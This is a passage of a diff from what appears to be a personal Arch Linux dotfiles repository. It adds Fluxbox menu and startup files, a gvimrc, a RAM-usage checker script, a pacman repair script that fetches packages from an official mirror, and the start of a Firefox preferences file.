[submenu] (System) </home/shl/.config/fbmenugen/icons/dfc9c5339fc8e2753bc6cf212a71ed15.png>
|
||||||
|
[exec] (Avahi Zeroconf Browser) {/usr/bin/avahi-discover} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (BleachBit) {bleachbit} </home/shl/.config/fbmenugen/icons/85a21ada7cbed153c68ad9468aeaf40c.png>
|
||||||
|
[exec] (Enlightenment File Manager) {enlightenment_filemanager} </home/shl/.config/fbmenugen/icons/7af17b5fe5b853186dcf5c25e16904fc.png>
|
||||||
|
[exec] (File Manager PCManFM) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (GParted) {/usr/bin/gparted} </home/shl/.config/fbmenugen/icons/dba960e16ad2a435134be516127c346a.png>
|
||||||
|
[exec] (Hardware Locality lstopo) {lstopo} <>
|
||||||
|
[exec] (Heimdall) {heimdall-frontend} <>
|
||||||
|
[exec] (Oracle VM VirtualBox) {VirtualBox} </home/shl/.config/fbmenugen/icons/464eeb630dd288c8a47a8334abeabe11.png>
|
||||||
|
[exec] (Terminology) {terminology} </home/shl/.config/fbmenugen/icons/afeffe4878d60a58728b83033afa32a5.png>
|
||||||
|
[exec] (UXTerm) {uxterm} </home/shl/.config/fbmenugen/icons/7981a46c7022d532c3c1bb6a09fedbce.png>
|
||||||
|
[exec] (Xfce Terminal) {xfce4-terminal} </home/shl/.config/fbmenugen/icons/7583bfc7beac1410fee035f718f9a262.png>
|
||||||
|
[exec] (XTerm) {xterm} </home/shl/.config/fbmenugen/icons/7981a46c7022d532c3c1bb6a09fedbce.png>
|
||||||
|
[end]
|
||||||
|
[separator]
|
||||||
|
[submenu] (Advanced Settings) </home/shl/.config/fbmenugen/icons/967bde40577b19ba515a441628bd2c37.png>
|
||||||
|
[exec] (Conky RC) {geany ~/.conkyrc} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[exec] (Tint2 Panel) {geany ~/.config/tint2/tint2rc} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[submenu] (Fbmenugen) </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[exec] (Menu Schema) {geany ~/.config/fbmenugen/schema.pl} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[exec] (Menu Config) {geany ~/.config/fbmenugen/config.pl} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[separator]
|
||||||
|
[exec] (Generate a menu with icons) {fbmenugen -i} </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[exec] (Generate a menu without icons) {fbmenugen -g} </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[separator]
|
||||||
|
[exec] (Refresh cache) {fbmenugen -d} </home/shl/.config/fbmenugen/icons/4737265d6f338ac81a50b7cfe5b9cf80.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Fluxbox) </home/shl/.config/fbmenugen/icons/52b3319ccfa5ab044b02dc12c945c3f1.png>
|
||||||
|
[config] (Configure)
|
||||||
|
[submenu] (System Styles) {Choose a style...}
|
||||||
|
[stylesdir] (/usr/share/fluxbox/styles)
|
||||||
|
[end]
|
||||||
|
[submenu] (User Styles) {Choose a style...}
|
||||||
|
[stylesdir] (~/.fluxbox/styles)
|
||||||
|
[end]
|
||||||
|
[workspaces] (Workspace List)
|
||||||
|
[submenu] (Tools)
|
||||||
|
[exec] (Screenshot - JPG) {import screenshot.jpg && display -resize 50% screenshot.jpg}
|
||||||
|
[exec] (Screenshot - PNG) {import screenshot.png && display -resize 50% screenshot.png}
|
||||||
|
[exec] (Run) {fbrun}
|
||||||
|
[exec] (Regen Menu) {fluxbox-generate_menu}
|
||||||
|
[end]
|
||||||
|
[commanddialog] (Fluxbox Command)
|
||||||
|
[reconfig] (Reload config)
|
||||||
|
[restart] (Restart)
|
||||||
|
[exec] (About) {(fluxbox -v; fluxbox -info | sed 1d) | xmessage -file - -center}
|
||||||
|
[separator]
|
||||||
|
[exit] (Exit)
|
||||||
|
[end]
|
||||||
|
[end]
|
||||||
|
[separator]
|
||||||
|
[exec] (Refresh) {/usr/bin/perl \/usr\/bin\/fbmenugen -i -S \/home\/shl\/\.config\/fbmenugen\/schema\.pl -C \/home\/shl\/\.config\/fbmenugen\/config\.pl -o \/home\/shl\/\.fluxbox\/menu} </home/shl/.config/fbmenugen/icons/4737265d6f338ac81a50b7cfe5b9cf80.png>
|
||||||
|
[exit] (Exit) </home/shl/.config/fbmenugen/icons/080abcfd96bca98bed503130320533c6.png>
|
||||||
|
|
||||||
|
[endencoding]
|
||||||
|
[end]
|
||||||
135
fluxbox/menu.bak
Normal file
135
fluxbox/menu.bak
Normal file
|
|
@ -0,0 +1,135 @@
|
||||||
|
#
|
||||||
|
## Menu generated with fbmenugen v0.82
|
||||||
|
#
|
||||||
|
|
||||||
|
[begin] (Fluxbox)
|
||||||
|
[encoding] {UTF-8}
|
||||||
|
[exec] (File Manager) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (Terminal) {terminology} </home/shl/.config/fbmenugen/icons/91d3653607d810730f91f6cdd7836392.png>
|
||||||
|
[exec] (Web Browser) {firefox-beta} </home/shl/.config/fbmenugen/icons/cac18d2e0a8de6e4040b9799b8159d9c.png>
|
||||||
|
[exec] (Run command) {fbrun} </home/shl/.config/fbmenugen/icons/36659139ccce27adfbee9a90a3870aee.png>
|
||||||
|
[separator]
|
||||||
|
[submenu] (Accessories) </home/shl/.config/fbmenugen/icons/ab74f94e3a06ebb2c29ca9e8f56a9e39.png>
|
||||||
|
[exec] (Android File Transfer (MTP\)) {android-file-transfer} </home/shl/.config/fbmenugen/icons/91528bca70f3f750de591253654f385c.png>
|
||||||
|
[exec] (Elementary Test) {elementary_test} </home/shl/.config/fbmenugen/icons/9beb7aea57772940a2b3d08c296ade01.png>
|
||||||
|
[exec] (File Manager PCManFM) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (GVim) {gvim -f} </home/shl/.config/fbmenugen/icons/938706f70cf2803c16ee2e9449694d1f.png>
|
||||||
|
[exec] (Leafpad) {leafpad} </home/shl/.config/fbmenugen/icons/94ddca96f7ceccfd59d859778984b0a4.png>
|
||||||
|
[exec] (Nextcloud desktop sync client) {nextcloud} </home/shl/.config/fbmenugen/icons/a961c3edf40eb764762d46f2cc836ad4.png>
|
||||||
|
[exec] (Xarchiver) {xarchiver} </home/shl/.config/fbmenugen/icons/731430c2b88a6370c5e5f94846e384d8.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Development) </home/shl/.config/fbmenugen/icons/619ca8a47338e825eeb354ceaa176e26.png>
|
||||||
|
[exec] (Electron) {electron} </home/shl/.config/fbmenugen/icons/250d668823f46e90af5c61e55430185c.png>
|
||||||
|
[exec] (Elementary Test) {elementary_test} </home/shl/.config/fbmenugen/icons/9beb7aea57772940a2b3d08c296ade01.png>
|
||||||
|
[exec] (Genymotion Player) {/usr/bin/genymotion-player} <>
|
||||||
|
[exec] (Genymotion) {/usr/bin/genymotion} </home/shl/.config/fbmenugen/icons/a704f1245d42179c84741c19e5c12d03.png>
|
||||||
|
[exec] (OpenJDK 1.7.0 Policy Tool) {/usr/lib/jvm/java-7-openjdk/jre/bin/policytool} <>
|
||||||
|
[exec] (Qt4 Assistant) {assistant-qt4} </home/shl/.config/fbmenugen/icons/220295a0c1cb459c9925f8cfb90779d3.png>
|
||||||
|
[exec] (Qt4 Designer) {designer-qt4} </home/shl/.config/fbmenugen/icons/f58bdceff1efbf18d4ad602362799d2e.png>
|
||||||
|
[exec] (Qt4 Linguist) {linguist-qt4} </home/shl/.config/fbmenugen/icons/541ca7fd34cf9eb56c0ae9723716a340.png>
|
||||||
|
[exec] (Qt4 QDbusViewer) {qdbusviewer-qt4} </home/shl/.config/fbmenugen/icons/90ad7a1b25b0a3fe9869f8fc85e464fb.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Education) </home/shl/.config/fbmenugen/icons/f278f68c1f858b370e5d7689295eee4f.png>
|
||||||
|
[exec] (LibreOffice Math) {libreoffice --math} </home/shl/.config/fbmenugen/icons/6cbf8e856dd7d14e0416aadd0b80496e.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Graphics) </home/shl/.config/fbmenugen/icons/1a0035d77f860b59119770823d32a101.png>
|
||||||
|
[exec] (Ephoto) {ephoto} </home/shl/.config/fbmenugen/icons/3e5b19faad65276b33cc469e588f31b3.png>
|
||||||
|
[exec] (GNU Image Manipulation Program) {gimp-2.8} </home/shl/.config/fbmenugen/icons/f6afccc8dacf6a53973ed809b9f144c6.png>
|
||||||
|
[exec] (LibreOffice Draw) {libreoffice --draw} </home/shl/.config/fbmenugen/icons/da74e7b7a68c743ff997bf7bc1899305.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Multimedia) </home/shl/.config/fbmenugen/icons/3844d5c90bc4806f394e326876a4f275.png>
|
||||||
|
[exec] (PulseAudio Volume Control) {pavucontrol} </home/shl/.config/fbmenugen/icons/bde380bf7f4b4e91411f58133ba919fb.png>
|
||||||
|
[exec] (Qt V4L2 test Utility) {qv4l2} </home/shl/.config/fbmenugen/icons/bb9458fc0b49586b5c69cb232edeb022.png>
|
||||||
|
[exec] (Rage) {rage} </home/shl/.config/fbmenugen/icons/2d17ca4d17316daa686b592be49483ee.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Network) </home/shl/.config/fbmenugen/icons/e278431f8cb758812891b3892daaaaff.png>
|
||||||
|
[exec] (AnyDesk) {anydesk} </home/shl/.config/fbmenugen/icons/5dae854c1791c826c2791f1073a53c6a.png>
|
||||||
|
[exec] (Avahi SSH Server Browser) {/usr/bin/bssh} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (Avahi VNC Server Browser) {/usr/bin/bvnc} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (FileZilla) {filezilla} </home/shl/.config/fbmenugen/icons/c859203afa5aab4b1e06871ddcd36753.png>
|
||||||
|
[exec] (Firefox Beta) {firefox-beta} </home/shl/.config/fbmenugen/icons/b171a4fb8c9330f518f5c130285c0d5f.png>
|
||||||
|
[exec] (Pidgin Internet Messenger) {pidgin} </home/shl/.config/fbmenugen/icons/34434e53eb8e134808ccf341ab3a42d5.png>
|
||||||
|
[exec] (qBittorrent) {qbittorrent} </home/shl/.config/fbmenugen/icons/6f38335009439827eb5d5bf6663f7ccc.png>
|
||||||
|
[exec] (Riot) {"/usr/bin/riot-desktop"} </home/shl/.config/fbmenugen/icons/c812ab85fe37e31aa3af6259daa93000.png>
|
||||||
|
[exec] (Signal Beta) {"/opt/Signal Beta/signal-desktop-beta"} </home/shl/.config/fbmenugen/icons/2cc606f423bc48e98a180ea7d8983394.png>
|
||||||
|
[exec] (Telegram Desktop) {/home/shl/.Telegram/Telegram --} </home/shl/.config/fbmenugen/icons/e8c0f2910f8e87902f7627e63d70c162.png>
|
||||||
|
[exec] (Wireshark (GTK+\)) {wireshark-gtk} </home/shl/.config/fbmenugen/icons/46142ec95597736e0047c0b9825eab6c.png>
|
||||||
|
[exec] (Zenmap (as root\)) {/usr/share/zenmap/su-to-zenmap.sh} </home/shl/.config/fbmenugen/icons/e96c957960fd2d2741811f8672de0b51.png>
|
||||||
|
[exec] (Zenmap) {zenmap} </home/shl/.config/fbmenugen/icons/e96c957960fd2d2741811f8672de0b51.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Office) </home/shl/.config/fbmenugen/icons/6dac371ae3162db47d6f0fb9b719eb33.png>
|
||||||
|
[exec] (LibreOffice Base) {libreoffice --base} </home/shl/.config/fbmenugen/icons/5f8aedf1f9327a8d27012d397aea39c1.png>
|
||||||
|
[exec] (LibreOffice Calc) {libreoffice --calc} </home/shl/.config/fbmenugen/icons/07e0745e604406e96a3d7d2691024716.png>
|
||||||
|
[exec] (LibreOffice Draw) {libreoffice --draw} </home/shl/.config/fbmenugen/icons/da74e7b7a68c743ff997bf7bc1899305.png>
|
||||||
|
[exec] (LibreOffice Impress) {libreoffice --impress} </home/shl/.config/fbmenugen/icons/ac17364caaca557b6c7e4249d07a45d7.png>
|
||||||
|
[exec] (LibreOffice Math) {libreoffice --math} </home/shl/.config/fbmenugen/icons/6cbf8e856dd7d14e0416aadd0b80496e.png>
|
||||||
|
[exec] (LibreOffice Writer) {libreoffice --writer} </home/shl/.config/fbmenugen/icons/d546447d079c8a6f7c81e7eb7145d04d.png>
|
||||||
|
[exec] (LibreOffice) {libreoffice} </home/shl/.config/fbmenugen/icons/e24aaf7f8770cfd3ba3ce78862cbb727.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Other) </home/shl/.config/fbmenugen/icons/146b15d6b4eb497a798fa4616ea94add.png>
|
||||||
|
[exec] (Terminal root) {gksu terminology} </home/shl/.config/fbmenugen/icons/ffcd1711c0ef004726cece6861802dcb.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Settings) </home/shl/.config/fbmenugen/icons/5b0a7a75be5db59c96ae72310849179a.png>
|
||||||
|
[exec] (Desktop Preferences) {pcmanfm --desktop-pref} </home/shl/.config/fbmenugen/icons/4ecb990a01d65219a346631756f96359.png>
|
||||||
|
[exec] (Elementary Configuration) {elementary_config} </home/shl/.config/fbmenugen/icons/9beb7aea57772940a2b3d08c296ade01.png>
|
||||||
|
[exec] (Firewall Configuration) {gufw} </home/shl/.config/fbmenugen/icons/b8de1d3c6e009b288cb7339b90421762.png>
|
||||||
|
[exec] (Network Connections) {nm-connection-editor} </home/shl/.config/fbmenugen/icons/f09ef867c652c8c4c21b1506b384fa8a.png>
|
||||||
|
[exec] (Preferred Applications) {libfm-pref-apps} </home/shl/.config/fbmenugen/icons/52b3319ccfa5ab044b02dc12c945c3f1.png>
|
||||||
|
[exec] (Privilege granting) {gksu-properties} </home/shl/.config/fbmenugen/icons/a6f4f433aa8a72d8a180c77f748b7701.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (System) </home/shl/.config/fbmenugen/icons/dfc9c5339fc8e2753bc6cf212a71ed15.png>
|
||||||
|
[exec] (Avahi Zeroconf Browser) {/usr/bin/avahi-discover} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (BleachBit) {bleachbit} </home/shl/.config/fbmenugen/icons/85a21ada7cbed153c68ad9468aeaf40c.png>
|
||||||
|
[exec] (Enlightenment File Manager) {enlightenment_filemanager} </home/shl/.config/fbmenugen/icons/7af17b5fe5b853186dcf5c25e16904fc.png>
|
||||||
|
[exec] (File Manager PCManFM) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (GParted) {/usr/bin/gparted} </home/shl/.config/fbmenugen/icons/dba960e16ad2a435134be516127c346a.png>
|
||||||
|
[exec] (Hardware Locality lstopo) {lstopo} <>
|
||||||
|
[exec] (Heimdall) {heimdall-frontend} <>
|
||||||
|
[exec] (Oracle VM VirtualBox) {VirtualBox} </home/shl/.config/fbmenugen/icons/464eeb630dd288c8a47a8334abeabe11.png>
|
||||||
|
[exec] (Terminology) {terminology} </home/shl/.config/fbmenugen/icons/afeffe4878d60a58728b83033afa32a5.png>
|
||||||
|
[exec] (UXTerm) {uxterm} </home/shl/.config/fbmenugen/icons/7981a46c7022d532c3c1bb6a09fedbce.png>
|
||||||
|
[exec] (Xfce Terminal) {xfce4-terminal} </home/shl/.config/fbmenugen/icons/7583bfc7beac1410fee035f718f9a262.png>
|
||||||
|
[exec] (XTerm) {xterm} </home/shl/.config/fbmenugen/icons/7981a46c7022d532c3c1bb6a09fedbce.png>
|
||||||
|
[end]
|
||||||
|
[separator]
|
||||||
|
[submenu] (Advanced Settings) </home/shl/.config/fbmenugen/icons/967bde40577b19ba515a441628bd2c37.png>
|
||||||
|
[exec] (Conky RC) {geany ~/.conkyrc} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[exec] (Tint2 Panel) {geany ~/.config/tint2/tint2rc} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[submenu] (Fbmenugen) </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[exec] (Menu Schema) {geany ~/.config/fbmenugen/schema.pl} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[exec] (Menu Config) {geany ~/.config/fbmenugen/config.pl} </home/shl/.config/fbmenugen/icons/9c353a444dda983d7489f117ff7a059e.png>
|
||||||
|
[separator]
|
||||||
|
[exec] (Generate a menu with icons) {fbmenugen -i} </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[exec] (Generate a menu without icons) {fbmenugen -g} </home/shl/.config/fbmenugen/icons/5041d860731310f9d40d01d1e30482b5.png>
|
||||||
|
[separator]
|
||||||
|
[exec] (Refresh cache) {fbmenugen -d} </home/shl/.config/fbmenugen/icons/4737265d6f338ac81a50b7cfe5b9cf80.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Fluxbox) </home/shl/.config/fbmenugen/icons/52b3319ccfa5ab044b02dc12c945c3f1.png>
|
||||||
|
[config] (Configure)
|
||||||
|
[submenu] (System Styles) {Choose a style...}
|
||||||
|
[stylesdir] (/usr/share/fluxbox/styles)
|
||||||
|
[end]
|
||||||
|
[submenu] (User Styles) {Choose a style...}
|
||||||
|
[stylesdir] (~/.fluxbox/styles)
|
||||||
|
[end]
|
||||||
|
[workspaces] (Workspace List)
|
||||||
|
[submenu] (Tools)
|
||||||
|
[exec] (Screenshot - JPG) {import screenshot.jpg && display -resize 50% screenshot.jpg}
|
||||||
|
[exec] (Screenshot - PNG) {import screenshot.png && display -resize 50% screenshot.png}
|
||||||
|
[exec] (Run) {fbrun}
|
||||||
|
[exec] (Regen Menu) {fluxbox-generate_menu}
|
||||||
|
[end]
|
||||||
|
[commanddialog] (Fluxbox Command)
|
||||||
|
[reconfig] (Reload config)
|
||||||
|
[restart] (Restart)
|
||||||
|
[exec] (About) {(fluxbox -v; fluxbox -info | sed 1d) | xmessage -file - -center}
|
||||||
|
[separator]
|
||||||
|
[exit] (Exit)
|
||||||
|
[end]
|
||||||
|
[end]
|
||||||
|
[separator]
|
||||||
|
[exec] (Refresh) {/usr/bin/perl \/usr\/bin\/fbmenugen -i -S \/home\/shl\/\.config\/fbmenugen\/schema\.pl -C \/home\/shl\/\.config\/fbmenugen\/config\.pl -o \/home\/shl\/\.fluxbox\/menu} </home/shl/.config/fbmenugen/icons/4737265d6f338ac81a50b7cfe5b9cf80.png>
|
||||||
|
[exit] (Exit) </home/shl/.config/fbmenugen/icons/080abcfd96bca98bed503130320533c6.png>
|
||||||
|
|
||||||
|
[endencoding]
|
||||||
|
[end]
|
||||||
68
fluxbox/menuconfig
Normal file
68
fluxbox/menuconfig
Normal file
|
|
@ -0,0 +1,68 @@
|
||||||
|
# This file is read by fluxbox-generate_menu. If you don't like a
|
||||||
|
# default you can change it here. Don't forget to remove the # in front
|
||||||
|
# of the line.
|
||||||
|
|
||||||
|
# Your favourite terminal. Put the command in quotes if you want to use
|
||||||
|
# options. Put a backslash in before odd chars
|
||||||
|
# MY_TERM='Eterm --tint \#123456'
|
||||||
|
# MY_TERM='aterm -tint $(random_color)'
|
||||||
|
|
||||||
|
# Your favourite browser. You can also specify options.
|
||||||
|
# MY_BROWSER=mozilla
|
||||||
|
|
||||||
|
# Name of the outputfile
|
||||||
|
# MENUFILENAME=/home/shl/.fluxbox/menu
|
||||||
|
|
||||||
|
# MENUTITLE=`fluxbox -version|cut -d " " -f-2`
|
||||||
|
|
||||||
|
# standard url for console-browsers
|
||||||
|
# HOMEPAGE=fluxbox.org
|
||||||
|
|
||||||
|
# location with your own menu-entries
|
||||||
|
# USERMENU=~/.fluxbox/usermenu
|
||||||
|
|
||||||
|
# Put the launcher you would like to use here
|
||||||
|
# LAUNCHER=fbrun
|
||||||
|
# LAUNCHER=fbgm
|
||||||
|
|
||||||
|
# Options for fbrun
|
||||||
|
# FBRUNOPTIONS='-font 10x20 -fg grey -bg black -title run'
|
||||||
|
|
||||||
|
# --- PREFIX'es
|
||||||
|
# These are prefixes; So if fluxbox is installed in @PREFIX@/bin/fluxbox
|
||||||
|
# your prefix is: @PREFIX@
|
||||||
|
|
||||||
|
# fluxbox-generate already looks in /usr/X11R6, /usr, /usr/local and /opt so
|
||||||
|
# there should be no need to specify them.
|
||||||
|
#
|
||||||
|
# PREFIX=@PREFIX@
|
||||||
|
# GNOME_PREFIX=/opt/gnome
|
||||||
|
# KDE_PREFIX=/opt/kde
|
||||||
|
|
||||||
|
|
||||||
|
# Separate the list of background dirs with colons ':'
|
||||||
|
# BACKGROUND_DIRS="/home/shl/.fluxbox/backgrounds/:@PREFIX@/share/fluxbox/backgrounds/:/usr/share/wallpapers"
|
||||||
|
|
||||||
|
|
||||||
|
# --- Boolean variables.
|
||||||
|
# Setting a variable to no'' won't help. Comment them out if you don't
|
||||||
|
# want them. Settings are overruled by the command-line options.
|
||||||
|
|
||||||
|
# Include all backgrounds in your backgrounds-directory
|
||||||
|
# BACKGROUNDMENUITEM=yes
|
||||||
|
|
||||||
|
# Include KDE-menus
|
||||||
|
# KDEMENU=yes
|
||||||
|
|
||||||
|
# Include Gnome-menus
|
||||||
|
# GNOMEMENU=yes
|
||||||
|
|
||||||
|
# Enable sudo commands
|
||||||
|
# DOSUDO=yes
|
||||||
|
|
||||||
|
# Don't cleanup the menu
|
||||||
|
# REMOVE=no
|
||||||
|
|
||||||
|
# Don't add icons to the menu
|
||||||
|
# NO_ICON=yes
|
||||||
|
|
||||||
2
fluxbox/overlay
Normal file
2
fluxbox/overlay
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
! The following line will prevent styles from setting the background.
|
||||||
|
! background: none
|
||||||
34
fluxbox/startup
Normal file
34
fluxbox/startup
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
#!/bin/sh
|
||||||
|
#
|
||||||
|
# fluxbox startup-script:
|
||||||
|
#
|
||||||
|
# Lines starting with a '#' are ignored.
|
||||||
|
|
||||||
|
# Change your keymap:
|
||||||
|
xmodmap "/home/shl/.Xmodmap"
|
||||||
|
|
||||||
|
#Automounting devices
|
||||||
|
udiskie &
|
||||||
|
|
||||||
|
# battery icon
|
||||||
|
cbatticon &
|
||||||
|
|
||||||
|
# Network Manager Icon
|
||||||
|
nm-applet &
|
||||||
|
|
||||||
|
# Applications you want to run with fluxbox.
|
||||||
|
# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ''&'' AT THE END.
|
||||||
|
#
|
||||||
|
# unclutter -idle 2 &
|
||||||
|
# wmnd &
|
||||||
|
# wmsmixer -w &
|
||||||
|
idesk &
|
||||||
|
|
||||||
|
# And last but not least we start fluxbox.
|
||||||
|
# Because it is the last app you have to run it with ''exec'' before it.
|
||||||
|
|
||||||
|
exec fluxbox
|
||||||
|
# or if you want to keep a log:
|
||||||
|
# exec fluxbox -log "/home/shl/.fluxbox/log"
|
||||||
|
|
||||||
|
|
||||||
15
fluxbox/windowmenu
Normal file
15
fluxbox/windowmenu
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
[begin]
|
||||||
|
[shade]
|
||||||
|
[stick]
|
||||||
|
[maximize]
|
||||||
|
[iconify]
|
||||||
|
[raise]
|
||||||
|
[lower]
|
||||||
|
[settitledialog]
|
||||||
|
[sendto]
|
||||||
|
[layer]
|
||||||
|
[alpha]
|
||||||
|
[extramenus]
|
||||||
|
[separator]
|
||||||
|
[close]
|
||||||
|
[end]
|
||||||
29
gvimrc
Normal file
29
gvimrc
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
syn on
|
||||||
|
set guifont=Monospace\ Bold\ 12
|
||||||
|
let do_syntax_sel_menu = 1|runtime! synmenu.vim|aunmenu &Syntax.&Show\ File\ Types\ in\ Menu
|
||||||
|
colors gruvbox
|
||||||
|
set background=dark
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim jump to the last position when
|
||||||
|
" reopening a file
|
||||||
|
if has("autocmd")
|
||||||
|
au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe
|
||||||
|
"normal! g'\"" | endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim load indentation rules and plugins
|
||||||
|
" according to the detected filetype.
|
||||||
|
if has("autocmd")
|
||||||
|
filetype plugin indent on
|
||||||
|
endif
|
||||||
|
|
||||||
|
set showmatch
|
||||||
|
"set mouse=a
|
||||||
|
set tabstop=4
|
||||||
|
set expandtab
|
||||||
|
set shiftwidth=4
|
||||||
|
set smartindent
|
||||||
|
set autoindent
|
||||||
|
set cindent
|
||||||
|
"
|
||||||
|
|
||||||
4
memory-checker.sh
Normal file
4
memory-checker.sh
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
#!/usr/bin/bash
|
||||||
|
#Este script muestra que aplicaciones consumen más RAM y CPU en tu equipo.
|
||||||
|
|
||||||
|
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem|head
|
||||||
22
pacman-repair.sh
Normal file
22
pacman-repair.sh
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
arch=$(uname -m)
|
||||||
|
mirror=http://mirror.rit.edu/archlinux
|
||||||
|
|
||||||
|
# link to cache (or download) and extract: openssl,libarchive,libfetch,pacman
|
||||||
|
cd /tmp
|
||||||
|
for pkg in openssl-1.0.0-2 libarchive-2.8.3-3 libfetch-2.30-3 pacman-3.3.3-5; do
|
||||||
|
pkgname=${pkg}-${arch}.pkg.tar.gz
|
||||||
|
if [[ -e /var/cache/pacman/pkg/${pkgname} ]]; then
|
||||||
|
ln -sf /var/cache/pacman/pkg/${pkgname} .
|
||||||
|
else
|
||||||
|
/usr/local/bin/wget ${mirror}/core/os/${arch}/${pkgname} || exit 1
|
||||||
|
fi
|
||||||
|
tar -xvpf ${pkgname} -C / --exclude .PKGINFO --exclude .INSTALL || exit 1
|
||||||
|
done
|
||||||
|
|
||||||
|
# now reinstall using pacman to update the local pacman db
|
||||||
|
pacman -Sf openssl libarchive libfetch pacman || exit 1
|
||||||
|
|
||||||
|
# now update your system
|
||||||
|
pacman -Syu
|
||||||
BIN
pacman_database.tar.bz2
Normal file
BIN
pacman_database.tar.bz2
Normal file
Binary file not shown.
265
prefs.js
Normal file
265
prefs.js
Normal file
|
|
@ -0,0 +1,265 @@
|
||||||
|
# Mozilla User Preferences
|
||||||
|
|
||||||
|
/* Do not edit this file.
|
||||||
|
*
|
||||||
|
* If you make changes to this file while the application is running,
|
||||||
|
* the changes will be overwritten when the application exits.
|
||||||
|
*
|
||||||
|
* To make a manual change to preferences, you can visit the URL about:config
|
||||||
|
*/
|
||||||
|
|
||||||
|
user_pref("accessibility.typeaheadfind.flashBar", 0);
|
||||||
|
user_pref("app.shield.optoutstudies.enabled", false);
|
||||||
|
user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1507140664);
|
||||||
|
user_pref("app.update.lastUpdateTime.background-update-timer", 1506299569);
|
||||||
|
user_pref("app.update.lastUpdateTime.blocklist-background-update-timer", 1507140784);
|
||||||
|
user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1507158304);
|
||||||
|
user_pref("app.update.lastUpdateTime.experiments-update-timer", 1507140544);
|
||||||
|
user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1507141024);
|
||||||
|
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1507140424);
|
||||||
|
user_pref("app.update.lastUpdateTime.telemetry_modules_ping", 1506921788);
|
||||||
|
user_pref("app.update.lastUpdateTime.xpi-signature-verification", 1507140904);
|
||||||
|
user_pref("browser.bookmarks.restore_default_bookmarks", false);
|
||||||
|
user_pref("browser.bookmarks.showMobileBookmarks", true);
|
||||||
|
user_pref("browser.cache.disk.capacity", 358400);
|
||||||
|
user_pref("browser.cache.disk.filesystem_reported", 1);
|
||||||
|
user_pref("browser.cache.disk.smart_size.first_run", false);
|
||||||
|
user_pref("browser.cache.disk.smart_size.use_old_max", false);
|
||||||
|
user_pref("browser.cache.frecency_experiment", 4);
|
||||||
|
user_pref("browser.cache.offline.enable", false);
|
||||||
|
user_pref("browser.customizemode.tip0.shown", true);
|
||||||
|
user_pref("browser.download.autohideButton", false);
|
||||||
|
user_pref("browser.download.dir", "/home/shl/Descargas");
|
||||||
|
user_pref("browser.download.folderList", 2);
|
||||||
|
user_pref("browser.download.lastDir", "/home/shl/Descargas");
|
||||||
|
user_pref("browser.download.panel.shown", true);
|
||||||
|
user_pref("browser.feeds.showFirstRunUI", false);
|
||||||
|
user_pref("browser.formfill.enable", false);
|
||||||
|
user_pref("browser.laterrun.bookkeeping.profileCreationTime", 1505697518);
|
||||||
|
user_pref("browser.laterrun.bookkeeping.sessionCount", 51);
|
||||||
|
user_pref("browser.migrated-sync-button", true);
|
||||||
|
user_pref("browser.migration.version", 54);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.feeds.section.highlights", false);
|
||||||
|
